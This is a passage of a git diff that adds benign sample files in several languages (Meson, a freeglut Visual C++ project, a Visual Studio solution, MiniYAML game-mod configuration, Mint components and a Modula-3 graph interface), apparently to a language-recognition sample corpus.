+++ b/samples/Meson/filenames/meson_options.txt
@@ -0,0 +1,3 @@
+option('with-something', type: 'boolean',
+  value: true,
+)
\ No newline at end of file
diff --git a/samples/Microsoft Developer Studio Project/freeglut.dsp b/samples/Microsoft Developer Studio Project/freeglut.dsp
new file mode 100644
index 0000000000..f0f022a659
--- /dev/null
+++ b/samples/Microsoft Developer Studio Project/freeglut.dsp	
@@ -0,0 +1,218 @@
+# Microsoft Developer Studio Project File - Name="freeglut" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=freeglut - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "freeglut.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "freeglut.mak" CFG="freeglut - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "freeglut - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "freeglut - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "freeglut - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "FREEGLUT_EXPORTS" /YX /FD /c
+# ADD CPP /nologo /MT /W3 /GX /O2 /I "include" /D "NDEBUG" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "FREEGLUT_EXPORTS" /YX /FD /c
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+
+!ELSEIF  "$(CFG)" == "freeglut - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "FREEGLUT_EXPORTS" /YX /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /I "include" /D "_DEBUG" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "FREEGLUT_EXPORTS" /FR /YX /FD /GZ /c
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+
+!ENDIF 
+
+# Begin Target
+
+# Name "freeglut - Win32 Release"
+# Name "freeglut - Win32 Debug"
+# Begin Group "Source Files"
+
+# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
+# Begin Source File
+
+SOURCE=.\src\freeglut_callbacks.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_cursor.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_display.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_ext.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_font.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_font_data.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_gamemode.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_geometry.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_glutfont_definitions.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_init.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_input_devices.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_joystick.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_main.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_menu.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_misc.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_overlay.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_state.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_stroke_mono_roman.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_stroke_roman.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_structure.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_teapot.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_videoresize.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_window.c
+# End Source File
+# End Group
+# Begin Group "Header Files"
+
+# PROP Default_Filter "h;hpp;hxx;hm;inl"
+# Begin Source File
+
+SOURCE=.\include\GL\freeglut.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\include\GL\freeglut_ext.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_internal.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\include\GL\freeglut_std.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\src\freeglut_teapot_data.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\include\GL\glut.h
+# End Source File
+# End Group
+# Begin Group "Resource Files"
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+# End Group
+# End Target
+# End Project
diff --git a/samples/Microsoft Visual Studio Solution/Radiant.sln b/samples/Microsoft Visual Studio Solution/Radiant.sln
new file mode 100644
index 0000000000..b4b5619435
--- /dev/null
+++ b/samples/Microsoft Visual Studio Solution/Radiant.sln	
@@ -0,0 +1,96 @@
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.30717.126
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "CSVAverage", "CSVAverage\CSVAverage.vbproj", "{45C612E2-BEEB-446E-AC38-A256F39DA4FC}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "CSVNormalization", "CSVNormalization\CSVNormalization.vbproj", "{C9DB9E8A-25E5-45C2-801C-A1EA200486C6}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "JoinPanelID", "JoinPanelID\JoinPanelID.vbproj", "{838C5EC4-9173-4A60-99E1-067B858C457B}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "MotherGrayGenerator", "MotherGrayGenerator\MotherGrayGenerator.vbproj", "{DCD64881-ECA2-400A-BFBF-901FF7354FBD}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PanelFFC Illunis CF", "PanelFFC Illunis CF\PanelFFC Illunis CF.vbproj", "{E6EC8FCA-E077-4C84-95E5-3884C5A84767}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PanelFFC Illunis DJ", "PanelFFC Illunis DJ\PanelFFC Illunis DJ.vbproj", "{92BDEA24-1D8F-4088-85C8-F695F414D4A3}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PanelFFC Illunis EP", "PanelFFC Illunis EP\PanelFFC Illunis EP.vbproj", "{593B0CD8-ABDA-4708-989C-B9B39D3B7CF1}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PanelFFC Radiant CF", "PanelFFC Radiant CF\PanelFFC Radiant CF.vbproj", "{C002E72B-3B17-48DB-A8CD-C973E5D41B92}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KillProcess", "KillProcess\KillProcess.csproj", "{E9F5DDE3-B839-46BE-AD6D-5690C2E1251F}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EZAE", "EZAE\EZAE.csproj", "{8AEAE95B-CA68-4ECC-8C5F-9C7FBC551E32}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CSVPrefixchange", "CSVPrefixchange\CSVPrefixchange.csproj", "{294D775D-A7F1-4586-98CA-49EDAB4C9DD6}"
+EndProject
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PanelFFC", "PanelFFC\PanelFFC.vbproj", "{B17BCAB2-1098-4573-A6D2-20859D32556D}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ErrorBox", "ErroBox\ErrorBox.csproj", "{83306080-FC60-4DFC-A254-CBF43428B44A}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{45C612E2-BEEB-446E-AC38-A256F39DA4FC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{45C612E2-BEEB-446E-AC38-A256F39DA4FC}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{45C612E2-BEEB-446E-AC38-A256F39DA4FC}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{45C612E2-BEEB-446E-AC38-A256F39DA4FC}.Release|Any CPU.Build.0 = Release|Any CPU
+		{C9DB9E8A-25E5-45C2-801C-A1EA200486C6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{C9DB9E8A-25E5-45C2-801C-A1EA200486C6}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{C9DB9E8A-25E5-45C2-801C-A1EA200486C6}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{C9DB9E8A-25E5-45C2-801C-A1EA200486C6}.Release|Any CPU.Build.0 = Release|Any CPU
+		{838C5EC4-9173-4A60-99E1-067B858C457B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{838C5EC4-9173-4A60-99E1-067B858C457B}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{838C5EC4-9173-4A60-99E1-067B858C457B}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{838C5EC4-9173-4A60-99E1-067B858C457B}.Release|Any CPU.Build.0 = Release|Any CPU
+		{DCD64881-ECA2-400A-BFBF-901FF7354FBD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{DCD64881-ECA2-400A-BFBF-901FF7354FBD}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{DCD64881-ECA2-400A-BFBF-901FF7354FBD}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{DCD64881-ECA2-400A-BFBF-901FF7354FBD}.Release|Any CPU.Build.0 = Release|Any CPU
+		{E6EC8FCA-E077-4C84-95E5-3884C5A84767}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E6EC8FCA-E077-4C84-95E5-3884C5A84767}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E6EC8FCA-E077-4C84-95E5-3884C5A84767}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E6EC8FCA-E077-4C84-95E5-3884C5A84767}.Release|Any CPU.Build.0 = Release|Any CPU
+		{92BDEA24-1D8F-4088-85C8-F695F414D4A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{92BDEA24-1D8F-4088-85C8-F695F414D4A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{92BDEA24-1D8F-4088-85C8-F695F414D4A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{92BDEA24-1D8F-4088-85C8-F695F414D4A3}.Release|Any CPU.Build.0 = Release|Any CPU
+		{593B0CD8-ABDA-4708-989C-B9B39D3B7CF1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{593B0CD8-ABDA-4708-989C-B9B39D3B7CF1}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{593B0CD8-ABDA-4708-989C-B9B39D3B7CF1}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{593B0CD8-ABDA-4708-989C-B9B39D3B7CF1}.Release|Any CPU.Build.0 = Release|Any CPU
+		{C002E72B-3B17-48DB-A8CD-C973E5D41B92}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{C002E72B-3B17-48DB-A8CD-C973E5D41B92}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{C002E72B-3B17-48DB-A8CD-C973E5D41B92}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{C002E72B-3B17-48DB-A8CD-C973E5D41B92}.Release|Any CPU.Build.0 = Release|Any CPU
+		{E9F5DDE3-B839-46BE-AD6D-5690C2E1251F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E9F5DDE3-B839-46BE-AD6D-5690C2E1251F}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E9F5DDE3-B839-46BE-AD6D-5690C2E1251F}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E9F5DDE3-B839-46BE-AD6D-5690C2E1251F}.Release|Any CPU.Build.0 = Release|Any CPU
+		{8AEAE95B-CA68-4ECC-8C5F-9C7FBC551E32}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{8AEAE95B-CA68-4ECC-8C5F-9C7FBC551E32}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{8AEAE95B-CA68-4ECC-8C5F-9C7FBC551E32}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{8AEAE95B-CA68-4ECC-8C5F-9C7FBC551E32}.Release|Any CPU.Build.0 = Release|Any CPU
+		{294D775D-A7F1-4586-98CA-49EDAB4C9DD6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{294D775D-A7F1-4586-98CA-49EDAB4C9DD6}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{294D775D-A7F1-4586-98CA-49EDAB4C9DD6}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{294D775D-A7F1-4586-98CA-49EDAB4C9DD6}.Release|Any CPU.Build.0 = Release|Any CPU
+		{B17BCAB2-1098-4573-A6D2-20859D32556D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{B17BCAB2-1098-4573-A6D2-20859D32556D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{B17BCAB2-1098-4573-A6D2-20859D32556D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{B17BCAB2-1098-4573-A6D2-20859D32556D}.Release|Any CPU.Build.0 = Release|Any CPU
+		{83306080-FC60-4DFC-A254-CBF43428B44A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{83306080-FC60-4DFC-A254-CBF43428B44A}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{83306080-FC60-4DFC-A254-CBF43428B44A}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{83306080-FC60-4DFC-A254-CBF43428B44A}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {60C14AFF-CFF7-46E8-9345-65A46A64495F}
+	EndGlobalSection
+EndGlobal
diff --git a/samples/MiniYAML/chrome.yaml b/samples/MiniYAML/chrome.yaml
new file mode 100644
index 0000000000..daa0f9bcb9
--- /dev/null
+++ b/samples/MiniYAML/chrome.yaml
@@ -0,0 +1,11 @@
+button:
+	Image: dialog.png
+	PanelRegion: 1, 1, 2, 2, 122, 122, 2, 2
+
+button-hover:
+	Image: dialog.png
+	PanelRegion: 1, 129, 2, 2, 122, 122, 2, 2
+
+button-pressed:
+	Image: dialog.png
+	PanelRegion: 129, 1, 2, 2, 122, 122, 2, 2
diff --git a/samples/MiniYAML/cursor.yaml b/samples/MiniYAML/cursor.yaml
new file mode 100644
index 0000000000..e0f56555c6
--- /dev/null
+++ b/samples/MiniYAML/cursor.yaml
@@ -0,0 +1,6 @@
+Cursors:
+	mouse.shp: terrain
+		default:
+			Start: 0
+			X: -16
+			Y: -12
diff --git a/samples/MiniYAML/mainmenu.yaml b/samples/MiniYAML/mainmenu.yaml
new file mode 100644
index 0000000000..4a44196bc6
--- /dev/null
+++ b/samples/MiniYAML/mainmenu.yaml
@@ -0,0 +1,10 @@
+Container@MAINMENU:
+	Logic: TemplateMenuLogic
+	Children:
+		Button@QUIT_BUTTON:
+			X: (WINDOW_RIGHT - WIDTH) / 2
+			Y: (WINDOW_BOTTOM - HEIGHT) / 2
+			Width: 140
+			Height: 30
+			Text: Quit
+			Font: Bold
diff --git a/samples/MiniYAML/metrics.yaml b/samples/MiniYAML/metrics.yaml
new file mode 100644
index 0000000000..3b700ce00b
--- /dev/null
+++ b/samples/MiniYAML/metrics.yaml
@@ -0,0 +1,3 @@
+Metrics:
+	ClickDisabledSound:
+	ClickSound:
diff --git a/samples/MiniYAML/metrics.yml b/samples/MiniYAML/metrics.yml
new file mode 100644
index 0000000000..3b700ce00b
--- /dev/null
+++ b/samples/MiniYAML/metrics.yml
@@ -0,0 +1,3 @@
+Metrics:
+	ClickDisabledSound:
+	ClickSound:
diff --git a/samples/MiniYAML/mod.yaml b/samples/MiniYAML/mod.yaml
new file mode 100644
index 0000000000..12a5eb889c
--- /dev/null
+++ b/samples/MiniYAML/mod.yaml
@@ -0,0 +1,77 @@
+Metadata:
+	Title: Example mod
+	Version: {DEV_VERSION}
+
+Packages:
+	^EngineDir
+	$example: example
+	^EngineDir|mods/common: common
+	example|bits
+
+MapFolders:
+	example|maps: System
+
+Rules:
+	example|rules.yaml
+
+TileSets:
+	example|tileset.yaml
+
+Cursors:
+	example|cursor.yaml
+
+Chrome:
+	example|chrome.yaml
+
+Assemblies:
+	^BinDir|OpenRA.Mods.Common.dll
+	^BinDir|OpenRA.Mods.Example.dll
+
+ChromeLayout:
+	example|mainmenu.yaml
+
+Music:
+	example|audio/music.yaml
+
+Notifications:
+	example|audio/notifications.yaml
+
+Translations:
+	example|english.yaml
+
+Hotkeys:
+	common|hotkeys/game.yaml
+
+LoadScreen: BlankLoadScreen
+
+ServerTraits:
+	LobbyCommands
+	PlayerPinger
+	MasterServerPinger
+	LobbySettingsNotification
+
+ChromeMetrics:
+	common|metrics.yaml
+	example|metrics.yaml
+
+Fonts:
+	Bold:
+		Font: common|FreeSansBold.ttf
+		Size: 14
+		Ascender: 11
+
+MapGrid:
+	TileSize: 32, 32
+	Type: Rectangular
+
+SpriteFormats: ShpTS
+
+SpriteSequenceFormat: DefaultSpriteSequence
+
+ModelSequenceFormat: PlaceholderModelSequence
+
+GameSpeeds:
+	default:
+		Name: Normal
+		Timestep: 40
+		OrderLatency: 3
diff --git a/samples/MiniYAML/notifications.yaml b/samples/MiniYAML/notifications.yaml
new file mode 100644
index 0000000000..94a911bf46
--- /dev/null
+++ b/samples/MiniYAML/notifications.yaml
@@ -0,0 +1,9 @@
+Speech:
+	DefaultVariant: .wav
+	Notifications:
+		StartGame:
+
+Sounds:
+	DefaultVariant: .wav
+	Notifications:
+		ClickSound:
diff --git a/samples/MiniYAML/rules.yaml b/samples/MiniYAML/rules.yaml
new file mode 100644
index 0000000000..f122dd94f6
--- /dev/null
+++ b/samples/MiniYAML/rules.yaml
@@ -0,0 +1,37 @@
+World:
+	TerrainRenderer:
+	AlwaysVisible:
+	ActorMap:
+	ScreenMap:
+	LoadWidgetAtGameStart:
+	Faction@0:
+		Name: Example
+		InternalName: example
+		Side: Example
+		Selectable: False
+	PaletteFromFile:
+		Name: terrain
+		Tileset: TEMPLATE
+		Filename: template.pal
+		CursorPalette: true
+		ShadowIndex:
+	Selection:
+
+DummyActor:
+	BodyOrientation:
+	HitShape:
+	AlwaysVisible:
+
+Player:
+	AlwaysVisible:
+	TechTree:
+	PlaceBuilding:
+	SupportPowerManager:
+	PlayerResources:
+	DeveloperMode:
+	Shroud:
+	FrozenActorLayer:
+
+EditorPlayer:
+	AlwaysVisible:
+	Shroud:
diff --git a/samples/MiniYAML/tileset.yaml b/samples/MiniYAML/tileset.yaml
new file mode 100644
index 0000000000..7bb5357c05
--- /dev/null
+++ b/samples/MiniYAML/tileset.yaml
@@ -0,0 +1,17 @@
+General:
+	Name: Template
+	Id: TEMPLATE
+	EditorTemplateOrder: Terrain
+
+Terrain:
+	TerrainType@Clear:
+		Type: Clear
+
+Templates:
+	Template@255:
+		Id: 255
+		Images: blank.shp
+		Size: 1,1
+		Categories: Terrain
+		Tiles:
+			0: Clear
diff --git a/samples/Mint/ApplicationStore.mint b/samples/Mint/ApplicationStore.mint
new file mode 100644
index 0000000000..2c94f68b08
--- /dev/null
+++ b/samples/Mint/ApplicationStore.mint
@@ -0,0 +1,98 @@
+enum UserStatus {
+  LoggedIn(User)
+  LoggedOut
+}
+
+enum Page {
+  Settings
+  NotFound
+  Article
+  Initial
+  Profile
+  Editor
+  SignIn
+  SignUp
+  Home
+}
+
+store Application {
+  state user : UserStatus = UserStatus::LoggedOut
+  state page : Page = Page::Initial
+
+  fun initializeWithPage (page : Page) : Promise(Never, Void) {
+    sequence {
+      setPage(page)
+      initialize()
+    }
+  }
+
+  fun initialize : Promise(Never, Void) {
+    sequence {
+      Http.abortAll()
+
+      try {
+        data =
+          Storage.Local.get("user")
+
+        object =
+          Json.parse(data)
+          |> Maybe.toResult("")
+
+        currentUser =
+          decode object as User
+
+        next { user = UserStatus::LoggedIn(currentUser) }
+      } catch Storage.Error => error {
+        next { user = UserStatus::LoggedOut }
+      } catch Object.Error => error {
+        next { user = UserStatus::LoggedOut }
+      } catch String => error {
+        next { user = UserStatus::LoggedOut }
+      }
+    }
+  }
+
+  fun setUser (user : User) : Promise(Never, Void) {
+    next { user = UserStatus::LoggedIn(user) }
+  }
+
+  fun logout : Promise(Never, Void) {
+    sequence {
+      Storage.Local.remove("user")
+
+      resetStores()
+
+      next { user = UserStatus::LoggedOut }
+
+      Window.navigate("/")
+    } catch Storage.Error => error {
+      Promise.never()
+    }
+  }
+
+  fun login (user : User) : Promise(Never, Void) {
+    sequence {
+      Storage.Local.set("user", Json.stringify(encode user))
+
+      resetStores()
+
+      next { user = UserStatus::LoggedIn(user) }
+
+      Window.navigate("/")
+    } catch Storage.Error => error {
+      Promise.never()
+    }
+  }
+
+  fun resetStores : Promise(Never, Void) {
+    parallel {
+      Stores.Articles.reset()
+      Stores.Comments.reset()
+      Stores.Article.reset()
+    }
+  }
+
+  fun setPage (page : Page) : Promise(Never, Void) {
+    next { page = page }
+  }
+}
diff --git a/samples/Mint/Comment.mint b/samples/Mint/Comment.mint
new file mode 100644
index 0000000000..6739f26c74
--- /dev/null
+++ b/samples/Mint/Comment.mint
@@ -0,0 +1,29 @@
+record Comment {
+  createdAt : Time,
+  updatedAt : Time,
+  author : Author,
+  body : String,
+  id : Number
+}
+
+module Comment {
+  fun empty : Comment {
+    {
+      author = Author.empty(),
+      createdAt = Time.now(),
+      updatedAt = Time.now(),
+      body = "",
+      id = 0
+    }
+  }
+
+  fun decode (object : Object) : Result(Object.Error, Comment) {
+    decode object as Comment
+  }
+
+  fun fromResponse (object : Object) : Result(Object.Error, Comment) {
+    with Object.Decode {
+      field("comment", decode, object)
+    }
+  }
+}
diff --git a/samples/Mint/Counter.mint b/samples/Mint/Counter.mint
new file mode 100644
index 0000000000..17710c41bb
--- /dev/null
+++ b/samples/Mint/Counter.mint
@@ -0,0 +1,27 @@
+component Counter {
+  state counter = 0
+
+  fun increment {
+    next { counter = counter + 1 }
+  }
+
+  fun decrement {
+    next { counter = counter - 1 }
+  }
+
+  fun render {
+    <div>
+      <button onClick={decrement}>
+        "Decrement"
+      </button>
+
+      <span>
+        <{ Number.toString(counter) }>
+      </span>
+
+      <button onClick={increment}>
+        "Increment"
+      </button>
+    </div>
+  }
+}
diff --git a/samples/Mint/HeaderTest.mint b/samples/Mint/HeaderTest.mint
new file mode 100644
index 0000000000..d2025f111c
--- /dev/null
+++ b/samples/Mint/HeaderTest.mint
@@ -0,0 +1,33 @@
+suite "Header" {
+  test "it has a logo" {
+    with Test.Html {
+      <Header/>
+      |> start()
+      |> assertElementExists("[class*=brand] svg")
+    }
+  }
+
+  test "it has a brand name" {
+    with Test.Html {
+      <Header/>
+      |> start()
+      |> assertTextOf("span", "Conduit")
+    }
+  }
+
+  test "it renders the sign in link" {
+    with Test.Html {
+      <Header/>
+      |> start()
+      |> assertTextOf("div[class*=links] a:first-child", "Sign in")
+    }
+  }
+
+  test "it renders the sign up link" {
+    with Test.Html {
+      <Header/>
+      |> start()
+      |> assertTextOf("div[class*=links] a:last-child", "Sign up")
+    }
+  }
+}
diff --git a/samples/Mint/InlineJS.mint b/samples/Mint/InlineJS.mint
new file mode 100644
index 0000000000..598a66be6b
--- /dev/null
+++ b/samples/Mint/InlineJS.mint
@@ -0,0 +1,11 @@
+component Main {
+  fun handleClick (event : Html.Event) : Void {
+    `alert("Hello")`
+  }
+
+  fun render : Html {
+    <div onClick={handleClick}>
+      <{ "Click to alert!" }>
+    </div>
+  }
+}
diff --git a/samples/Mint/TodoItem.mint b/samples/Mint/TodoItem.mint
new file mode 100644
index 0000000000..98141e8d89
--- /dev/null
+++ b/samples/Mint/TodoItem.mint
@@ -0,0 +1,31 @@
+component TodoItem {
+  property color = "#333"
+  property label = ""
+  property done = false
+
+  style base {
+    align-items: center;
+    display: flex;
+  }
+
+  style label {
+    font-weight: bold;
+    color: #{color};
+    flex: 1;
+
+    if (done) {
+      text-decoration: line-through;
+    }
+  }
+
+  fun render {
+    <div::base>
+      <span::label>
+        <{ label }>
+      </span>
+
+      <Icon.Checkmark/>
+      <Icon.Trash/>
+    </div>
+  }
+}
diff --git a/samples/Modula-3/DiGraph.ig b/samples/Modula-3/DiGraph.ig
new file mode 100644
index 0000000000..b09325ceb8
--- /dev/null
+++ b/samples/Modula-3/DiGraph.ig
@@ -0,0 +1,350 @@
+(* Copyright (C) 1992, Digital Equipment Corporation                         *)
+(* All rights reserved.                                                      *)
+(* See the file COPYRIGHT for a full description.                            *)
+(*                                                                           *)
+(* Last modified on Thu Sep  5 12:17:52 PDT 1996 by detlefs                  *)
+
+GENERIC INTERFACE DiGraph(NodeVal, EdgeVal);
+
+(* A parameterized directed graph abstraction.
+
+   Requires:
+     NodeVal.T: TYPE
+     NodeVal.Hash: PROCEDURE(nv: NodeVal.T; lessThan: CARDINAL): CARDINAL;
+     NodeVal.Equal: PROCEDURE(nv1, nv2: NodeVal.T): BOOLEAN;
+     NodeVal.Compare: PROCEDURE(nv1, nv2: NodeVal.T): [-1..1];
+
+     NodeVal.Equal(n1, n2) => NodeVal.Hash(n1, m) = NodeVal.Hash(n2, m)
+     NodeVal.Equal(n1, n2) <=> NodeVal.Compare(n1, n2) = 0
+
+
+   A DiGraph.T represents a directed graph whose nodes and edges are 
+   labelled with values of types NodeVal and EdgeVal, respectively. 
+   A DiGraph.T is initially empty; clients are allowed to add and 
+   delete nodes and edges.  Observer functions allow clients to obtain 
+   the nth predecessor or successor of a node, or to iterate over 
+   all the predecessors or successors.  The most interesting function 
+   provided by DiGraph is TransitiveClose; this is a generalized 
+   transitive closure algorithm that can, with appropriate arguments, 
+   add sufficient edges to transitively close a graph or, 
+   alternatively, compute the shortest paths in a graph whose edges 
+   are labelled with integers.
+
+   The representation of DiGraph.T requires that the NodeVal type 
+   provides hash and comparison operations.  A hash table maps NodeVal
